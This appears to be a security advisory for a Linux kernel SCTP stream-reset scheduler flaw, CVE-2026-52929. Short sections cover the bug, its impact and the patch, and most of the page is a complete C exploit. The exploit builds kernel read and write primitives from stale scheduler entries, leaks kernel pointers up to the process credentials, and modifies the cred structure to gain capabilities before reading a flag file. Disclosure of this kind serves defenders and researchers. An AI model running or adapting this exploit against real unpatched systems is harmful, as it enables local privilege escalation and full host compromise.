Summary
When an SCTP stream-reset request failed, Linux could remove output streams without fully removing their scheduling records. The scheduler was then left with entries that looked valid but pointed to an empty queue.
The public demonstration targeted Ubuntu 26.04 with Linux 7.0.0-28. The underlying bug had existed since October 2017 and was fixed upstream in June 2026.
Why it mattered
In a namespace-enabled environment, a local attacker could create SCTP traffic and drive the failed reset path. A later dequeue could interpret a list head as a packet, turning the stale scheduler state into kernel memory corruption.
The affected code has been fixed. The risk described here applies to unpatched kernels in the affected line, not automatically to every system using the named distribution today.
What went wrong
sctp_process_strreset_resp() called sctp_stream_shrink_out() directly. Unlike the normal stream update paths, this route did not complete the scheduler-specific dequeue cleanup, so round-robin and other schedulers could retain stale stream nodes.
Exploit
Because the issue and its fixes are public, NebuSec’s validation code is included here for reproducibility. The preview starts at the program entry point and shows exactly 15 lines. Expanding it reveals the complete selected C file embedded in this page; build files, headers, helpers, and any additional sources remain in the linked CyberMeowfia directory.
int main(void){ struct sockaddr_in a = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_LOOPBACK) }; struct sctp_initmsg init = { .sinit_num_ostreams = 1, .sinit_max_instreams = 128 }; socklen_t alen = sizeof(a); int lfd, peers[NREADERS], sz = 4 << 20; int st, child_reaped = 0; pid_t pid; pthread_t lockers[NREADERS], server_rxs[NREADERS];
setvbuf(stdout, NULL, _IONBF, 0); printf("uid=%u gid=%u\n", getuid(), getgid()); lfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
/*
* Copyright 2026 Nebula Security
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* SPDX-License-Identifier: Apache-2.0
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/sctp.h>
#include <linux/capability.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#define NDISC 128
#define NQREAD 4
#define NARBPROBE 4
#define NSCAN (NDISC + NQREAD + NARBPROBE)
#define NTARGET 88
#define NADD (NSCAN + NTARGET)
#define NGROOM 128
#define NPRIM_READERS 8
#define NVICTIMS 4
#define NREADERS (NPRIM_READERS + NVICTIMS)
#define NEBUSEC_DISCOVERY UINT16_C(0x5f6e)
#define NEBUSEC_TARGET_BASE UINT16_C(0x6562)
#define NEBUSEC_PRIO UINT16_C(0x7365)
/* linux/filter.h is not shipped by the minimal musl wrapper in this
* workspace. These are the stable classic-BPF socket ABI definitions. */
struct sock_filter {
uint16_t code;
uint8_t jt;
uint8_t jf;
uint32_t k;
};
struct sock_fprog {
uint16_t len;
struct sock_filter *filter;
};
#define BPF_RET 0x06
#define BPF_K 0x00
#define BPF_STMT(code_, k_) { (uint16_t)(code_), 0, 0, (k_) }
static volatile int stop_threads;
static void die(const char *s)
{
perror(s);
exit(1);
}
static void set_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
(void)sched_setaffinity(0, sizeof(set), &set);
}
static int assoc_opt(int fd, int opt, uint32_t value)
{
struct sctp_assoc_value av = { .assoc_id = 0, .assoc_value = value };
return setsockopt(fd, IPPROTO_SCTP, opt, &av, sizeof(av));
}
static int stream_set(int fd, uint16_t sid, uint16_t value)
{
struct sctp_stream_value sv = {
.assoc_id = 0, .stream_id = sid, .stream_value = value,
};
return setsockopt(fd, IPPROTO_SCTP, SCTP_STREAM_SCHEDULER_VALUE,
&sv, sizeof(sv));
}
static int stream_get(int fd, uint16_t sid, uint16_t *value)
{
struct sctp_stream_value sv = { .assoc_id = 0, .stream_id = sid };
socklen_t len = sizeof(sv);
int ret = getsockopt(fd, IPPROTO_SCTP, SCTP_STREAM_SCHEDULER_VALUE,
&sv, &len);
*value = sv.stream_value;
return ret;
}
static int out_streams(int fd)
{
struct sctp_status st = {0};
socklen_t len = sizeof(st);
if (getsockopt(fd, IPPROTO_SCTP, SCTP_STATUS, &st, &len))
return -errno;
return st.sstat_outstrms;
}
static ssize_t send_sid_flags(int fd, uint16_t sid, const void *buf, size_t len,
int flags)
{
char ctrl[CMSG_SPACE(sizeof(struct sctp_sndrcvinfo))] = {0};
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
struct msghdr msg = {
.msg_iov = &iov, .msg_iovlen = 1,
.msg_control = ctrl, .msg_controllen = sizeof(ctrl),
};
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
struct sctp_sndrcvinfo *si;
cm->cmsg_level = IPPROTO_SCTP;
cm->cmsg_type = SCTP_SNDRCV;
cm->cmsg_len = CMSG_LEN(sizeof(*si));
si = (void *)CMSG_DATA(cm);
si->sinfo_stream = sid;
return sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL | flags);
}
static ssize_t send_sid(int fd, uint16_t sid, const void *buf, size_t len)
{
return send_sid_flags(fd, sid, buf, len, 0);
}
static ssize_t send_sid_ttl(int fd, uint16_t sid, const void *buf, size_t len,
uint32_t ttl)
{
char ctrl[CMSG_SPACE(sizeof(struct sctp_sndrcvinfo))] = {0};
struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
struct msghdr msg = {
.msg_iov = &iov, .msg_iovlen = 1,
.msg_control = ctrl, .msg_controllen = sizeof(ctrl),
};
struct cmsghdr *cm = CMSG_FIRSTHDR(&msg);
struct sctp_sndrcvinfo *si;
cm->cmsg_level = IPPROTO_SCTP;
cm->cmsg_type = SCTP_SNDRCV;
cm->cmsg_len = CMSG_LEN(sizeof(*si));
si = (void *)CMSG_DATA(cm);
si->sinfo_stream = sid;
si->sinfo_flags = SCTP_PR_SCTP_TTL;
si->sinfo_timetolive = ttl;
return sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL);
}
/* Keep the peer's denial out of the association until the transient-stream
* chunks have expired. Classic socket filters are unprivileged and affect
* only receives on this socket; the request and local outqueue still run.
*/
static int drop_incoming(int fd)
{
struct sock_filter insn[] = {
BPF_STMT(BPF_RET | BPF_K, 0),
};
struct sock_fprog prog = {
.len = sizeof(insn) / sizeof(insn[0]), .filter = insn,
};
return setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog));
}
static int accept_incoming(int fd)
{
int one = 1;
return setsockopt(fd, SOL_SOCKET, SO_DETACH_FILTER, &one, sizeof(one));
}
static void *drain_socket(void *arg)
{
int fd = *(int *)arg;
char buf[65536];
set_cpu(0);
while (!stop_threads) {
ssize_t n = recv(fd, buf, sizeof(buf), MSG_DONTWAIT);
if (n < 0 && errno != EAGAIN && errno != EINTR)
break;
if (n <= 0)
sched_yield();
}
return NULL;
}
static void *lock_sender(void *arg)
{
int fd = *(int *)arg;
static char buf[4096];
struct iovec iov[1];
struct msghdr msg = { .msg_iov = iov, .msg_iovlen = 1 };
memset(buf, '_', sizeof(buf));
iov[0].iov_base = buf;
iov[0].iov_len = sizeof(buf);
set_cpu(1);
while (!stop_threads) {
ssize_t n = sendmsg(fd, &msg, MSG_DONTWAIT | MSG_NOSIGNAL);
usleep(n < 0 ? 10000 : 1000);
}
return NULL;
}
static int transient_add(int fd, int base)
{
struct sctp_add_streams add = {
.sas_assoc_id = 0, .sas_outstrms = NADD,
};
for (int i = 0; i < 200000; i++) {
int ret = setsockopt(fd, IPPROTO_SCTP, SCTP_ADD_STREAMS,
&add, sizeof(add));
int now = out_streams(fd);
if (!ret && now == base + NADD) {
printf("transient base=%d now=%d try=%d\n", base, now, i);
return 0;
}
if (!(i & 0xfff))
printf("retry add i=%d ret=%d errno=%d now=%d\n",
i, ret, errno, now);
}
return -1;
}
static int wait_outcnt(int fd, int wanted)
{
for (int i = 0; i < 100000; i++) {
int now = out_streams(fd);
if (now == wanted)
return 0;
usleep(100);
}
return -1;
}
struct exploit_ctx {
int fd;
uint16_t next_probe;
int target_sid;
uint64_t p;
uint64_t q;
const char *name;
};
static void expiry_flush(int fd, const char *tag)
{
static char byte = 'e';
usleep(20000);
for (int i = 0; i < 4; i++)
(void)send_sid_ttl(fd, 0, &byte, 1, 1);
(void)tag;
}
/* Add an exact value to a stale fc_length. A sub-frag-point SCTP user
* message contributes payload length plus one 16-byte DATA header. */
static int send_exact_delta(int fd, uint16_t sid, uint32_t delta)
{
static unsigned char payload[64000];
const uint32_t max_contribution = sizeof(payload) + 16;
uint32_t chunks, payload_left;
if (delta < 17)
return -1;
chunks = (delta + max_contribution - 1) / max_contribution;
if (17 * chunks > delta)
return -1;
payload_left = delta - 16 * chunks;
for (uint32_t i = 0; i < chunks; i++) {
uint32_t left_chunks = chunks - i - 1;
uint32_t len = payload_left - left_chunks;
if (len > sizeof(payload))
len = sizeof(payload);
for (;;) {
if (send_sid_ttl(fd, sid, payload, len, 1) >= 0)
break;
if (errno != EAGAIN && errno != ENOBUFS)
return -1;
expiry_flush(fd, "delta pressure");
}
payload_left -= len;
/* skb accounting is larger than payload bytes. Twenty-four chunks
* leave sndbuf room for the four cleanup triggers above. */
if (i % 24 == 23)
expiry_flush(fd, "delta batch");
}
return payload_left ? -1 : 0;
}
static int new_client(uint16_t port)
{
struct sockaddr_in a = { .sin_family = AF_INET, .sin_port = htons(port) };
struct sctp_initmsg init = { .sinit_num_ostreams = 1,
.sinit_max_instreams = 128 };
int fd, sz = 4 << 20, one = 1;
inet_pton(AF_INET, "127.0.0.1", &a.sin_addr);
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (fd < 0)
return -1;
setsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz));
setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz));
if (setsockopt(fd, IPPROTO_SCTP, SCTP_NODELAY, &one, sizeof(one)) ||
setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, sizeof(init)) ||
assoc_opt(fd, SCTP_RECONFIG_SUPPORTED, 1) ||
assoc_opt(fd, SCTP_ENABLE_STREAM_RESET,
SCTP_ENABLE_CHANGE_ASSOC_REQ) ||
assoc_opt(fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO) ||
connect(fd, (void *)&a, sizeof(a))) {
close(fd);
return -1;
}
{
struct sctp_status status = {0};
socklen_t slen = sizeof(status), olen = sizeof(sz);
(void)getsockopt(fd, SOL_SOCKET, SO_SNDBUF, &sz, &olen);
(void)getsockopt(fd, IPPROTO_SCTP, SCTP_STATUS, &status, &slen);
printf("client sndbuf=%d frag_point=%u\n", sz,
status.sstat_fragmentation_point);
}
return fd;
}
static int ctx_prepare(struct exploit_ctx *ctx)
{
static char data[4096];
uint16_t words[4];
int hit_probe = -1, hit_target = -1;
uint32_t distance = 0;
memset(data, 'n', sizeof(data));
if (send_sid(ctx->fd, 0, data, 1) < 0)
return -1;
if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
return -1;
for (int sid = 1; sid <= NSCAN; sid++)
if (stream_set(ctx->fd, sid, NEBUSEC_DISCOVERY))
return -1;
for (int j = 0; j < NTARGET; j++)
if (stream_set(ctx->fd, NSCAN + 1 + j,
NEBUSEC_TARGET_BASE + j))
return -1;
if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ))
return -1;
if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
return -1;
for (int sid = 1; sid <= NDISC; sid++)
if (send_sid_ttl(ctx->fd, sid, data, 64 * sid - 16, 1) < 0)
return -1;
expiry_flush(ctx->fd, "discover");
if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
return -1;
if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
return -1;
for (int sid = 1; sid <= NDISC; sid++) {
uint16_t v = 0;
if (stream_get(ctx->fd, sid, &v))
return -1;
if (hit_probe < 0 && v >= NEBUSEC_TARGET_BASE &&
v < NEBUSEC_TARGET_BASE + NTARGET) {
hit_probe = sid;
hit_target = NSCAN + 1 + v - NEBUSEC_TARGET_BASE;
}
}
if (hit_probe < 0) {
printf("[%s] no forward priority neighbor\n", ctx->name);
/* Keep this failed transient association frozen. Rolling it back
* would release the same orphan scheduler state that the primitive
* deliberately preserves; later contexts are independent sockets. */
return -2;
}
distance = 64 * hit_probe;
if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ))
return -1;
if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
return -1;
for (int i = 0; i < 4; i++) {
if (send_sid_ttl(ctx->fd, NDISC + 1 + i, data,
distance - 40 + 2 * i - 16, 1) < 0)
return -1;
}
expiry_flush(ctx->fd, "head leak");
if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
return -1;
if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
return -1;
ctx->q = 0;
for (int i = 0; i < 4; i++) {
if (stream_get(ctx->fd, NDISC + 1 + i, &words[i]))
return -1;
ctx->q |= (uint64_t)words[i] << (16 * i);
}
ctx->p = ctx->q - distance;
ctx->target_sid = hit_target;
ctx->next_probe = NDISC + NQREAD + 1;
printf("[%s] P=%#llx Q=%#llx target=%d\n", ctx->name,
(unsigned long long)ctx->p, (unsigned long long)ctx->q,
ctx->target_sid);
if ((ctx->q >> 48) != 0xffff) {
printf("[%s] invalid leaked pointers\n", ctx->name);
return -2;
}
if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1))
return -1;
return 0;
}
static int ctx_transform(struct exploit_ctx *ctx, uint64_t address, int count)
{
uint32_t deltas[4];
int64_t diffs[4];
if (count < 1 || count > 4 ||
ctx->next_probe + count > NSCAN + 1)
return -1;
for (int i = 0; i < count; i++) {
diffs[i] = (int64_t)(address + 2 * i - 40 - ctx->p);
if (diffs[i] < 17 || diffs[i] > (256LL << 20)) {
printf("[%s] unreachable target=%#llx P=%#llx diff=%lld\n",
ctx->name, (unsigned long long)address,
(unsigned long long)ctx->p, (long long)diffs[i]);
return -2;
}
deltas[i] = diffs[i];
}
printf("[%s] transform address=%#llx delta=%#x probes=%u..%u\n",
ctx->name, (unsigned long long)address, deltas[0],
ctx->next_probe, ctx->next_probe + count - 1);
if (assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_WFQ) ||
drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
return -1;
for (int i = 0; i < count; i++)
if (send_exact_delta(ctx->fd, ctx->next_probe + i, deltas[i]))
return -1;
expiry_flush(ctx->fd, "arbitrary transform");
if (accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1) ||
assoc_opt(ctx->fd, SCTP_STREAM_SCHEDULER, SCTP_SS_PRIO))
return -1;
return 0;
}
static int ctx_reachable(const struct exploit_ctx *ctx, uint64_t address)
{
int64_t diff = (int64_t)(address - 40 - ctx->p);
return diff >= 17 && diff <= (256LL << 20);
}
static struct exploit_ctx *choose_reader(struct exploit_ctx readers[NREADERS],
const int valid[NREADERS],
uint64_t address, int probes)
{
struct exploit_ctx *best = NULL;
int64_t best_diff = INT64_MAX;
for (int i = 0; i < NREADERS; i++) {
int64_t diff = (int64_t)(address - 40 - readers[i].p);
if (!valid[i] || !ctx_reachable(&readers[i], address) ||
readers[i].next_probe + probes > NSCAN + 1)
continue;
if (diff < best_diff) {
best = &readers[i];
best_diff = diff;
}
}
if (!best)
printf("[chain] no reader reaches %#llx with %d probes\n",
(unsigned long long)address, probes);
else
printf("[chain] chose %s for %#llx diff=%lld\n", best->name,
(unsigned long long)address, (long long)best_diff);
return best;
}
static int ctx_read64(struct exploit_ctx *ctx, uint64_t address,
int queue_target, int leave_active, uint64_t *result)
{
uint16_t words[4];
uint16_t first = ctx->next_probe;
static char data[4096];
if (ctx_transform(ctx, address, 4))
return -1;
if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
return -1;
if (queue_target) {
/* NODELAY plus a normal byte flushes any packet containing the
* outstanding RE-CONFIG control. Subsequent MSG_MORE bytes reach an
* empty packet with force_delay set and leave Q on prio_list. */
if (send_sid(ctx->fd, ctx->target_sid, data, 1) < 0)
return -1;
for (int i = 0; i < 4; i++)
if (send_sid_flags(ctx->fd, ctx->target_sid, data, 1,
MSG_MORE) < 0)
return -1;
}
*result = 0;
for (int i = 0; i < 4; i++) {
if (stream_get(ctx->fd, first + i, &words[i]))
return -1;
*result |= (uint64_t)words[i] << (16 * i);
}
ctx->next_probe += 4;
printf("[%s] read64(%#llx)=%#llx\n", ctx->name,
(unsigned long long)address, (unsigned long long)*result);
if (!leave_active &&
(accept_incoming(ctx->fd) || wait_outcnt(ctx->fd, 1)))
return -1;
return 0;
}
static int ctx_decrement16(struct exploit_ctx *ctx, uint64_t address)
{
uint16_t sid = ctx->next_probe;
if (ctx_transform(ctx, address, 1))
return -1;
if (drop_incoming(ctx->fd) || transient_add(ctx->fd, 1))
return -1;
/* prio is stored two bytes before users. The nonzero marker avoids the zero
* value in the high half of cap_permitted and forces head_put(). */
if (stream_set(ctx->fd, sid, NEBUSEC_PRIO))
return -1;
ctx->next_probe++;
printf("[%s] decremented u16 at %#llx\n", ctx->name,
(unsigned long long)address);
return 0;
}
static void run_chain_client(uint16_t port)
{
char reader_names[NREADERS][16];
struct exploit_ctx readers[NREADERS] = {0};
struct exploit_ctx *r = NULL;
pthread_t drains[NREADERS];
int have_drains = 0;
int reader_ok[NREADERS] = {0};
int groom[NGROOM], ngroom = 0;
uint64_t prio_list, asoc, sk, sock, file, cred;
int ret = 0, exploited = 0;
set_cpu(0);
for (int i = 0; i < NREADERS; i++) {
if (i == NPRIM_READERS) {
/* Allocate the final current cred only after the primitive P
* samples. The post-capset associations below all pin it. */
for (int j = 0; j < NGROOM; j++) {
struct __user_cap_header_struct hdr = {
.version = _LINUX_CAPABILITY_VERSION_3, .pid = 0,
};
struct __user_cap_data_struct caps[2] = {{0}, {0}};
if (syscall(SYS_capset, &hdr, caps) < 0) {
ret = -1;
break;
}
groom[ngroom] = socket(AF_INET, SOCK_STREAM,
IPPROTO_SCTP);
if (groom[ngroom] < 0) {
ret = -1;
break;
}
ngroom++;
}
printf("[chain] zero-capset/socket groom held=%d errno=%d\n",
ngroom, errno);
}
snprintf(reader_names[i], sizeof(reader_names[i]), "_nebusec%d", i);
readers[i].name = reader_names[i];
readers[i].fd = new_client(port);
if (readers[i].fd < 0)
die("new reader");
if (pthread_create(&drains[have_drains], NULL, drain_socket,
&readers[i].fd))
die("drain reader");
have_drains++;
reader_ok[i] = ctx_prepare(&readers[i]) == 0;
if (reader_ok[i] && (!r || readers[i].p < r->p))
r = &readers[i];
}
if (!r) {
printf("[chain] no usable reader context\n");
ret = -1;
} else {
printf("[chain] selected %s P=%#llx\n", r->name,
(unsigned long long)r->p);
}
if (ret)
goto out;
/* Scheduling marker Q inserts it as the tail of stream.prio_list, so
* Q->prio_sched.next is the global list head at asoc+0x580. Try each
* post-capset association: their files pin the same current cred, while
* their file addresses sample independent slabs. */
for (int attempt = NPRIM_READERS;
attempt < NREADERS && !exploited; attempt++) {
struct exploit_ctx *source = &readers[attempt];
if (!reader_ok[attempt])
continue;
if (source->next_probe + 4 > NSCAN + 1)
continue;
if (ctx_read64(source, source->q, 1, 0, &prio_list))
goto out;
/* A later scheduler switch would head_put() these fake heads and
* decrement the words following the read. Never reuse a context. */
reader_ok[attempt] = 0;
asoc = prio_list - 0x580;
if ((prio_list >> 48) != 0xffff || prio_list == source->q ||
asoc + 0x580 != prio_list) {
printf("[chain] %s invalid prio_list=%#llx\n", source->name,
(unsigned long long)prio_list);
continue;
}
printf("[chain] %s prio_list=%#llx asoc=%#llx\n", source->name,
(unsigned long long)prio_list, (unsigned long long)asoc);
r = choose_reader(readers, reader_ok, asoc + 16, 4);
if (!r)
continue;
if (ctx_read64(r, asoc + 16, 0, 0, &sk))
goto out;
reader_ok[r - readers] = 0;
r = choose_reader(readers, reader_ok, sk + 288, 4);
if (!r)
continue;
if (ctx_read64(r, sk + 288, 0, 0, &sock))
goto out;
reader_ok[r - readers] = 0;
r = choose_reader(readers, reader_ok, sock + 16, 4);
if (!r)
continue;
if (ctx_read64(r, sock + 16, 0, 0, &file))
goto out;
reader_ok[r - readers] = 0;
r = choose_reader(readers, reader_ok, file + 48, 4);
if (!r) {
printf("[chain] retrying through another association\n");
continue;
}
if (ctx_read64(r, file + 48, 0, 0, &cred))
goto out;
reader_ok[r - readers] = 0;
printf("[chain] asoc=%#llx sk=%#llx socket=%#llx file=%#llx cred=%#llx\n",
(unsigned long long)asoc, (unsigned long long)sk,
(unsigned long long)sock, (unsigned long long)file,
(unsigned long long)cred);
r = choose_reader(readers, reader_ok, cred + 62, 1);
if (!r || ctx_decrement16(r, cred + 62))
goto out;
reader_ok[r - readers] = 0;
exploited = 1;
}
if (!exploited) {
printf("[chain] exhausted equivalent association paths\n");
goto out;
}
{
int statusfd = open("/proc/self/status", O_RDONLY);
char status[4096] = {0};
ssize_t status_n = statusfd >= 0 ?
read(statusfd, status, sizeof(status) - 1) : -1;
int flagfd = open("/flag", O_RDONLY);
char flag[256] = {0};
ssize_t n = flagfd >= 0 ? read(flagfd, flag, sizeof(flag) - 1) : -1;
if (statusfd >= 0)
close(statusfd);
if (status_n > 0) {
char *cap = strstr(status, "CapEff:");
if (cap)
printf("[chain] %.25s\n", cap);
}
printf("[chain] flagfd=%d n=%zd errno=%d FLAG=%s\n",
flagfd, n, errno, n > 0 ? flag : "");
/* Closing an association would put the deliberately forged priority
* heads. Once the flag is printed, leave cleanup to the VM runner. */
if (n > 0)
for (;;)
pause();
}
out:
for (int i = 0; i < NREADERS; i++)
(void)accept_incoming(readers[i].fd);
stop_threads = 1;
for (int i = 0; i < have_drains; i++)
pthread_join(drains[i], NULL);
for (int i = 0; i < NREADERS; i++)
close(readers[i].fd);
for (int i = 0; i < ngroom; i++)
close(groom[i]);
}
int main(void)
{
struct sockaddr_in a = { .sin_family = AF_INET,
.sin_addr.s_addr = htonl(INADDR_LOOPBACK) };
struct sctp_initmsg init = { .sinit_num_ostreams = 1,
.sinit_max_instreams = 128 };
socklen_t alen = sizeof(a);
int lfd, peers[NREADERS], sz = 4 << 20;
int st, child_reaped = 0;
pid_t pid;
pthread_t lockers[NREADERS], server_rxs[NREADERS];
setvbuf(stdout, NULL, _IONBF, 0);
printf("uid=%u gid=%u\n", getuid(), getgid());
lfd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
if (lfd < 0) die("socket server");
if (setsockopt(lfd, IPPROTO_SCTP, SCTP_INITMSG, &init, sizeof(init)) ||
assoc_opt(lfd, SCTP_RECONFIG_SUPPORTED, 1))
die("server opts");
if (bind(lfd, (void *)&a, sizeof(a)) || listen(lfd, NREADERS) ||
getsockname(lfd, (void *)&a, &alen))
die("server bind");
pid = fork();
if (pid < 0) die("fork");
if (!pid) {
close(lfd);
run_chain_client(ntohs(a.sin_port));
_exit(0);
}
set_cpu(1);
for (int i = 0; i < NREADERS; i++) {
peers[i] = accept(lfd, NULL, NULL);
if (peers[i] < 0) die("accept peer");
setsockopt(peers[i], SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz));
if (pthread_create(&lockers[i], NULL, lock_sender, &peers[i]))
die("locker");
if (pthread_create(&server_rxs[i], NULL, drain_socket, &peers[i]))
die("server rx");
}
while (waitpid(pid, &st, WNOHANG) != pid)
usleep(1000);
child_reaped = 1;
stop_threads = 1;
for (int i = 0; i < NREADERS; i++) {
pthread_join(lockers[i], NULL);
pthread_join(server_rxs[i], NULL);
close(peers[i]);
}
if (!child_reaped)
waitpid(pid, &st, 0);
printf("child status=%#x\n", st);
return 0;
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in June 2026. The correction ensures stream scheduler metadata is unscheduled before output streams are removed. Apply the kernel supplied by the distribution; disabling SCTP or restricting unprivileged namespaces can reduce exposure on systems that cannot yet update.
The safest check is the distribution’s own kernel changelog for CVE-2026-52929;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
